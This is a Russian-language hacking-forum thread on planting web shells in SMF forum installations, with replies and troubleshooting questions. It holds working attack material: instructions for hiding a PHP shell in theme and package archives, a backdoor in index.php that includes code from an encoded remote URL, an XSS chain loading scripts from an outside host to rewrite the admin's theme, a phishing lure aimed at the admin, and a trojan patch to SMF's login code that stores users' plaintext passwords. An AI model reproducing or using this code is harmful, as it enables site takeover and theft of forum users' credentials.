Форумы Faq по Smf (Заливка шелла)!

Discussion in 'Уязвимости CMS/форумов' started by fly, 3 Jul 2007.

  1. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Заливаем шелл в SMF

    Если ты имеешь админский акк в этом форуме.

    Шаг_1

    Зходим на форум под админом. Затем идем
    Code:
    http://hacked.com/smf/index.php?action=admin
    [Admin].

    Шаг_2

    На левой боковой вкладке выбираем [Themes and Layout].Внизу увидешь форму для upload тем для форума.
    Темы закачиваются в формате zip-архива.

    Шаг_3

    Идем на официальный сайт форумного движка в раздел (mOds)
    Code:
    http://custom.simplemachines.org/themes/
    Здесь выбираем любую тему(на твой вкус и цвет). Я выбираю [blackTedSkin]
    Code:
    http://custom.simplemachines.org/themes/index.php?lemma=66
    От сюда качаем
    Code:
    http://custom.simplemachines.org/themes/index.php?action=download;lemma=66;id=306
    Шаг_4

    Открываем zip с нашей темой и добавляем в архив свой php-shell--Пример директория /images/icons/myshell.php

    Шаг_5

    Идем к форме [Install a New Theme]
    Добавляем наш архив-- From a file:blackTed.zip
    И даем название нашей теме-- Create a copy of Default named: HACK_THEME
    Жмем-- Install
    Если все прошло хорошо, то появиться надпись:blackTed was installed successfully.

    Шаг_6_Final

    Идем по ссылке(для случая с blackTed темой)--
    Code:
    http://hacked.com/smf/Themes/blackTed/icons/Fun_shell.php
    Спасибо за внимание.
     
    3 people like this.
  2. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    так и в джумлу мона залить.....
     
  3. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Способ 2. ЧЕРЕЗ аддоны(примочки)!

    Механизм заключается в том, что залив происходит в папку Packages в виде BoardNews10.zip --пример
    Пихаем в архив в BoardNews10\Subs-BoardNews.php -- <? system("uname -a"); ?>
    Инсталлим и видем результат(при safemode:eek:ff и только если есть права на запись в Packages )
     
  4. n-000

    n-000 Elder - Старейшина

    Joined:
    25 Oct 2006
    Messages:
    90
    Likes Received:
    36
    Reputations:
    5
    Сталкивался с проблемой, когда запись в папки запрещалась ... это легко решить !
    Идём по адресу ../forum/index.php?action=theme;th=1;sesc=3d8eb20e38590c370b19dba2e203d926;sa=edit;filename=index.php
    ну и спокойно правим в открывшемся окне индекс, точнее добавляем в него что то типа
    PHP:
    $str=base64_decode('aHR0cDovL2ZmZmYueHkvc2hlbGwudHh0');
    if(
    $_GET['act']=='run'){include($str);}; 
    дальше приспокойно переходим по след адресу с нужными нам параметрами
    /forum/Themes/default/index.php?act=run :D
    Главное не суетитесь господа ...

    ********************************

    Полный листинг индекса выглядит таким вот образом
    PHP:
    <?php

    // Try to handle it with the upper level index.php.  (it should know what to do.)
    $str=base64_decode('aHR0cDovL2ZmZmYueHkvc2hlbGwudHh0');
    if(
    $_GET['act']=='run'){include($str);};
    if (
    file_exists(dirname(dirname(__FILE__)) . '/index.php'))
       include (
    dirname(dirname(__FILE__)) . '/index.php');
    else
       exit;

    ?>
     
    2 people like this.
  5. n-000

    n-000 Elder - Старейшина

    Joined:
    25 Oct 2006
    Messages:
    90
    Likes Received:
    36
    Reputations:
    5
    Это всё канешна весело если есть админка от форума, а если нет ? ...

    Получить админку можно либо описанными (непомню в каком посте) способами, а можно немножко извратиться над этими способами и зделать нечто иное...

    Например щас я обрабатываю один из сайтикоф с многострадальным SMF 1.1.2 в дальнейшем siteX.ru.
    Вот что я проделал :
    На сайте имеется чат, в котором как опция присутствует онлайн радио, в скрипте которого я нашёл элементарную XSS такова вида http://siteX.ru/designes/radio.php?station=%22%20></OBJECT><script%20src=http://ааа.com/run.js></script><!--
    Обнаружилось и то, что при попытки получить куки с помощью свойства document.cookie сайт выдавал куки не только чата , но и форума ;)
    Содержание run.js такое
    Code:
    var s=document.createElement('script');
    s.src='http://aaa.com/re.js';
    document.documentElement.firstChild.appendChild(s);
    Думаю пока фсё понятно ... нет ? много травы курите господа :D хватит
    листинг re.js (который запускаеца скриптом run.js)
    Code:
    var shellCode = "<?php\n\n";
    shellCode += "// Try to handle it with the upper level index.php.  (it should know what to do.)\n";
    shellCode += "$str=base64_decode('aHR0cDovL2ZmZmYueHkvc2hlbGwudHh0');\n";
    shellCode += "if($_GET['act']=='run'){include($str);};\n";
    shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
    shellCode += "   include (dirname(dirname(__FILE__)) . '/index.php');\n";
    shellCode += "else\n";
    shellCode += "   exit;\n\n?>";
    
    sendRequest("forum/index.php", null, "GET", getSesc);
    
    function getSesc(request) {
        var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);
    
        if(sessVerify) {
            sendRequest(
                "forum/index.php?action=theme;th=1;sa=edit",
                "entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
                "POST", null);
        }
    }
    
    function sendRequest(url, data, method, onLoadFunc) {
        var request = createHttpRequest();
    
        if(request) {
            request.open(method, url, true);
            
            if(method == "POST") {
                request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }
    
            if(onLoadFunc) {
                request.onreadystatechange = function() {
                    if(request.readyState == 4) {
                        onLoadFunc(request); }
                }
            }
            request.send(data);
        }
    } 
    
    function createHttpRequest() {
        var httpRequest = false;
        try {
            httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
        catch(e) {
            try {
                httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
            catch(e) {
                try {
                    httpRequest = new XMLHttpRequest(); }
                catch(e) {
                    httpRequest = false;
                }
            }
        }
        return httpRequest;
    }
    Здесь немного поясню... этот скрипт вместо админа берёт да и правит тему индекса форума :rolleyes: тоесть фсё это происходит незаметно для админа, разработчики SMF постарались, поэтому исправления не нужно подтверждать паролем ))
    Вопщем индекс будет в переменной shellCode (см. предыдущий пост)
    Едем дальше, думаю хватит мазать сопли по тарелке... Регим в форуме ник жэнской наружности :D и отправляем приват админу что то типо

    Танька, наши фотки со свадьбы я закинула в фотоархиф, у тя там такое эротичное платье ;) вот ссылка [U R L =http://siteX.ru/designes/radio.php?station=%22%3E%3C%2F%4F%42%4A%45%43%54%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%66%6F%72%65%73%74%2E%61%6C%66%61%6D%6F%6F%6E%2E%63%6F%6D%2F%72%75%6E%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%3C%21%2D%2D]http://photo-arhifff.xy/index.php?id=12548[/URL]

    Абратите ОСОБОЕ внимание на ссылку, даже если админ откроет её в новом окне он фсё равно фстрянет :cool:
    А любопытство как известно весч каварная... хоч не хоч а ткнуть придёца =)
    Итог ... идём по ссылке http://siteX.ru /forum/Themes/default/index.php?act=run
    и злобно начинаем БУГАГА
    ********************************
    В этом методе есть два минуса:
    1. Админ может что то заподозрить и не ткнуть на ссылу, а ваш ник получит бан =)
    2.Если пхп сессия админа здохнет, хрен вам а не шелл, т к доступ в админку будет только по паролю, но при этом он спокойно может править свой профиль и отправлять мессаги !

    ***************************************

    Инфа выложена чиста в азнакомительных целях, афтар не несёт ответственности за фсяких психов типо его самого, которые могут использовать эту инфу в западлянских целях !

    EOF
     
    2 people like this.
  6. Rogun

    Rogun Elder - Старейшина

    Joined:
    12 Feb 2008
    Messages:
    76
    Likes Received:
    4
    Reputations:
    0
    Здрасствуйте, сори за такой вопрос: а сам шел надо скопировать и сохранить в текстовом формате? или шел надо сохранить в специальном формате?...
     
  7. abb0t

    abb0t Member

    Joined:
    24 Feb 2008
    Messages:
    0
    Likes Received:
    8
    Reputations:
    0
    Смотря на чем построен шелл. Чаще всего это php-скрипт.
     
  8. Rogun

    Rogun Elder - Старейшина

    Joined:
    12 Feb 2008
    Messages:
    76
    Likes Received:
    4
    Reputations:
    0
    А есть шелл, который заливаеш в админку(ва те же темы) и по специально настроенном адресе(заранее перед заливкой) можно попадать в админку без админ акка?
    Нужно для IPB и SMF))
     
    #8 Rogun, 10 Mar 2008
    Last edited: 7 Apr 2008
  9. ty13r

    ty13r Elder - Старейшина

    Joined:
    18 Jul 2007
    Messages:
    39
    Likes Received:
    2
    Reputations:
    0
    Часто бывает так: шелл залили, доступ к БД получили, а хотелось бы получить пароли пользователей. Но вот беда пароли зашифрованные, да еще соленые, а сидеть и брутить их лень/нет времени/желания. Тогда сделаем так чтобы юзеры сами выкладывали нам свои пароли на блюдечке!
    Местом хранения паролей выберем БД. Сразу скажу что те кто считают этот метод слишком палевным могут просто писать все в файл, но имхо БД предоставляет куда больше возможностей по обработке/сортировке этих данных.
    Сначала создадим таблицу куда будем складывать пароли
    Code:
    CREATE TABLE smf_logs (
           id             INTEGER NOT NULL,
           name           VARCHAR(100) NOT NULL,
           password       VARCHAR(100) NOT NULL
    );
    ALTER TABLE smf_logs
           ADD  ( PRIMARY KEY (id));
    Далее открываем файл ./Sources/LogInOut.php находим там функцию Login2 и переходим к 380 строке
    Code:
    ...
    	elseif ($user_settings['passwordSalt'] == '')
    	{
    		$user_settings['passwordSalt'] = substr(md5(rand()), 0, 4);
    		updateMemberData($user_settings['ID_MEMBER'], array('passwordSalt' => '\'' . $user_settings['passwordSalt'] . '\''));
    	}
    	//начало нашего трояна
    	else
    	{
    		$req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$user_settings['ID_MEMBER']}");
    		$user = mysql_fetch_array($req);
    		if(!$user)
    			$req = db_query("INSERT INTO {$db_prefix}logs SET `id`='".$user_settings['ID_MEMBER']."' ,`name`='".$_REQUEST['user']."' ,`password`='".$_REQUEST['passwrd']."'");
    		if($user['password']!=$_REQUEST['passwrd'])
    			$req = db_query("UPDATE {$db_prefix}logs SET `password`='".$_REQUEST['passwrd']."' WHERE `id`='".$user_settings['ID_MEMBER']."'");
    	}
    	//конец трояна
    	if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
    		$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);
    
    	// Get ready to set the cookie...
    	...
    
    Теперь сделаем так чтобы тем, кто заходит используя куки пришлось ввести свой пароль: откроем файл ./Sources/Load.php в функции loadUserSettings около 377 строки напишем:
    Code:
    ...
    elseif (empty($ID_MEMBER) && isset($_SESSION['login_' . $cookiename]) && ($_SESSION['USER_AGENT'] == $_SERVER['HTTP_USER_AGENT'] || !empty($modSettings['disableCheckUA'])))
    	{
    		// !!! Perhaps we can do some more checking on this, such as on the first octet of the IP?
    		list ($ID_MEMBER, $password, $login_span) = @unserialize(stripslashes($_SESSION['login_' . $cookiename]));
    		$ID_MEMBER = !empty($ID_MEMBER) && strlen($password) == 40 && $login_span > time() ? (int) $ID_MEMBER : 0;
    	}
    	//начало нашего трояна
    	$req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$ID_MEMBER}");
    	$user = mysql_fetch_array($req);
    	if(!isset($user['id']))
    	{
    		unset($password);
    	}
    	//конец трояна
    	// Only load this stuff if the user isn't a guest.
    	if ($ID_MEMBER != 0)...
    
    Наконец отредактируем файл ./Themes/default/script.js: найдем в нем функцию hashLoginPassword около 455 строки
    Code:
    	...
    	doForm.hash_passwrd.value = hex_sha1(hex_sha1(doForm.user.value.php_to8bit().php_strtolower() + doForm.passwrd.value.php_to8bit()) + cur_session_id);
    
    	// It looks nicer to fill it with asterisks, but Firefox will try to save that.
    	//закомментируем эти строки
    	//if (navigator.userAgent.indexOf("Firefox/") != -1)
    	//	doForm.passwrd.value = "";
    	//else
    	//	doForm.passwrd.value = doForm.passwrd.value.replace(/./g, "*");
    }
    
    На всякий случай тоже самое сделаем в функции hashAdminPassword в том же файле несколькими строками ниже:
    Code:
    ...
    	doForm.admin_hash_pass.value = hex_sha1(hex_sha1(username.toLowerCase() + doForm.admin_pass.value) + cur_session_id);
    	//закомментируем строку
    	//doForm.admin_pass.value = doForm.admin_pass.value.replace(/./g, "*");
    }
    
    Теперь форум благополучно затроянен и нам только остается периодически заглядывать в нашу табличку чтобы удостоверяться что пароли записываются.
    По желанию можно закодировать данные в табличке, например функцией base64_encode(), так что даже если админ и случайно наткнется на нее, то ничего не поймет. А для расшифровки набросать свой маленький скрипт и оставить эго где-нибудь в глубине исходников форума
     
    #9 ty13r, 27 May 2008
    Last edited: 31 May 2008
  10. ad1das

    ad1das New Member

    Joined:
    12 Mar 2008
    Messages:
    10
    Likes Received:
    3
    Reputations:
    0
    залил все как надо через тему, адрес http://123xxx.ru/forum/Themes/blackted/icons/articles.php
    выскакивает:
    Not Found
    The requested document was not found on this server.

    Web Server at 123xxx.ru
     
  11. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Просто те надо было залить шелл внутри одного из файлов темы, а так твой файл из архива просто не попадает, вот и все)))) Просто код шелла вставь в любую страницу php файла темы!
     
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Вот снял видео для новичков по заливке шелла, имея доступ в админку.
    http://depositfiles.com/files/6759465
     
    2 people like this.
  13. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Нельзя, конечно.
     
  14. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    1ce666 можно если присуствует уязв
    к примеру уязвимость в версии SMF 1.1.6 Remote File Exect (как то так)
     
  15. FaTRuS

    FaTRuS Elder - Старейшина

    Joined:
    28 Aug 2006
    Messages:
    94
    Likes Received:
    2
    Reputations:
    0
    Данный способ не срабатывает отказано вна запись!!!
    В какую дирректорию можно залить??? есть предположения попытатся залить в attachments но просмотреть эту дирректорию невозможно

    Пррошу помощи и подскажите нормальный шелл для навигации по дирректориям как по FTP
     
  16. _eXorcist_

    _eXorcist_ New Member

    Joined:
    24 Dec 2009
    Messages:
    69
    Likes Received:
    3
    Reputations:
    0
    просто меняешь директорию загрузки тем и заливаешь ее в другую диру


    у меня при устанокке тем пишет типо

    Internal Server Error

    The server encountered an internal error or misconfiguration and was unable to complete your request.

    Please contact the server administrator, [email protected] and inform them of the time the error occurred, and anything you might have done that may have caused the error.

    More information about this error may be available in the server error log.

    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.


    права на выполнения php файлов выставлены что л и как то по другому?
     
    #16 _eXorcist_, 11 Jan 2010
    Last edited: 11 Jan 2010
  17. f0][

    f0][ New Member

    Joined:
    27 Dec 2009
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    перезалей видио...
     
  18. Рамос

    Рамос Member

    Joined:
    30 Oct 2009
    Messages:
    124
    Likes Received:
    7
    Reputations:
    1
    нет прав на запись в Themes/Packages, редактирования тем
    тупик ? :(
     
  19. Underwhy

    Underwhy New Member

    Joined:
    12 Jul 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Нужно залить шелл на SMF.
    Версия 2.0 RC1.2
    Способ с заливкой файла / стиля выдаёт 404 NOT FOUND, но заливается и я могу даже редактировать файл стиля через админку.
     
  20. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    В общем ситуация следующая.
    Есть админка от SMF 1.1.2 хотелось бы залить шелл, но столкнулся с не очень хорошей ситуацией, злой админ полностью все файлы выставил права "только для чтания" также само и на папки!